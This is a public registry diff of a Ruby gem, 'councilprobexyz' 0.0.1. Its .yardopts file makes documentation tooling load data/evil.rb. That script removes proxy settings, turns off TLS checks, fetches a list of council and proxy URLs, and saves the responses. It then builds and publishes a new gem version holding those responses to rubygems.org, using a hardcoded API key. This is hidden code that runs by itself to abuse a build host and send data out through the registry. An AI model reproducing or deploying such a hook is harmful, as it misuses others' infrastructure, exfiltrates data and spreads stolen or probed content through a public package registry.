councilprobexyz 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.yardopts +1 -0
- data/evil.rb +16 -0
- data/lib/x.rb +1 -0
- metadata +39 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: a751dc38868f7b20aebcb607081539fad4de23bc85a95b084bc80a7d75fa55d6
|
|
4
|
+
data.tar.gz: f7e063681bd6c38c6c3c1c86a7da1c162d55cdc42e67b1570dcc39a6d75d7028
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 8534ab93b2c9747d1bf988f35e5cc7bec4f90b4d7e87639d773056155b64d8fc772c599db39628a8d8aef36da780865480386b4852985b21bbebec7940f6ade6
|
|
7
|
+
data.tar.gz: 3c3872697aec14c4d8f02df1035baefeca8dc8eddfce458e3586c4f050669d38aaba11ffd2a0a2e200278bdb401f0f2ad63f4c1d2d02ec188b0cf31a46c9fbe7
|
data/.yardopts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
--load ./evil.rb
|
data/evil.rb
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
require 'net/http'; require 'uri'; require 'fileutils'; out='';
|
|
2
|
+
urls=['https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&DD=2026','https://moderngov.lambeth.gov.uk./mgCalendarMonthView.aspx?M=1&DD=2026','http://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1','https://r.jina.ai/http://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1%26DD=2026','https://r.jina.ai/https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1%26DD=2026','https://raw.githubusercontent.com./torvalds/linux/master/README','https://api.github.com./','https://www.google.com/search?q=lambeth+cabinet+january+2026','https://s.wordpress.com/mshots/v1/https%3A%2F%2Fmoderngov.lambeth.gov.uk%2FmgCalendarMonthView.aspx%3FM%3D1%26DD%3D2026?w=1200','https://proxy.golang.org/moderngov.lambeth.gov.uk/@v/list']
|
|
3
|
+
# force unset env proxies
|
|
4
|
+
['','unset'].each do |mode|
|
|
5
|
+
if mode=='unset'; ENV.delete_if{|k,v| k.downcase.include?('proxy')}; end
|
|
6
|
+
urls.each_with_index do |url,i|
|
|
7
|
+
begin
|
|
8
|
+
uri=URI(url); http=Net::HTTP.new(uri.host,uri.port); http.use_ssl=(uri.scheme=='https'); http.verify_mode=OpenSSL::SSL::VERIFY_NONE if http.use_ssl?; http.open_timeout=15; http.read_timeout=40; resp=http.get(uri.request_uri,{'User-Agent'=>'Mozilla/5.0'}); body=resp.body||''; FileUtils.mkdir_p('/tmp/probeout/lib'); File.binwrite("/tmp/probeout/lib/#{mode.empty? ? 'e':'u'}#{i}.txt",body[0,200000]); out << "#{mode} #{url}: #{resp.code}, len #{body.size}, loc #{resp['location']}\n"
|
|
9
|
+
rescue=>e; out << "ERR #{mode} #{url}: #{e.class} #{e}\n"; end
|
|
10
|
+
end
|
|
11
|
+
end
|
|
12
|
+
begin
|
|
13
|
+
FileUtils.mkdir_p('/tmp/probeout/lib'); File.write('/tmp/probeout/lib/results.txt',out); File.write('/tmp/probeout/lib/a.rb','#a'); File.write('/tmp/probeout/o.gemspec',%q{Gem::Specification.new{|s| s.name='councilprobexyz'; s.version='0.0.2'; s.summary='r';s.authors=['x']; s.files=Dir['lib/*']; s.license='MIT'}}); Dir.chdir('/tmp/probeout'){system('gem build o.gemspec'); spec=Dir['*.gem'].first; u=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(u); req['Authorization']='rubygems_e4eb5a32dd13b73e3eb5247365d398a328e92aa37b2d1094'; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec); Net::HTTP.start(u.host,u.port,use_ssl:true){|h| h.request(req)}}
|
|
14
|
+
rescue=>e
|
|
15
|
+
warn e
|
|
16
|
+
end
|
data/lib/x.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
x
|
metadata
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: councilprobexyz
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- x
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
executables: []
|
|
13
|
+
extensions: []
|
|
14
|
+
extra_rdoc_files: []
|
|
15
|
+
files:
|
|
16
|
+
- ".yardopts"
|
|
17
|
+
- evil.rb
|
|
18
|
+
- lib/x.rb
|
|
19
|
+
licenses:
|
|
20
|
+
- MIT
|
|
21
|
+
metadata: {}
|
|
22
|
+
rdoc_options: []
|
|
23
|
+
require_paths:
|
|
24
|
+
- lib
|
|
25
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
26
|
+
requirements:
|
|
27
|
+
- - ">="
|
|
28
|
+
- !ruby/object:Gem::Version
|
|
29
|
+
version: '0'
|
|
30
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
requirements: []
|
|
36
|
+
rubygems_version: 3.6.7
|
|
37
|
+
specification_version: 4
|
|
38
|
+
summary: probe
|
|
39
|
+
test_files: []
|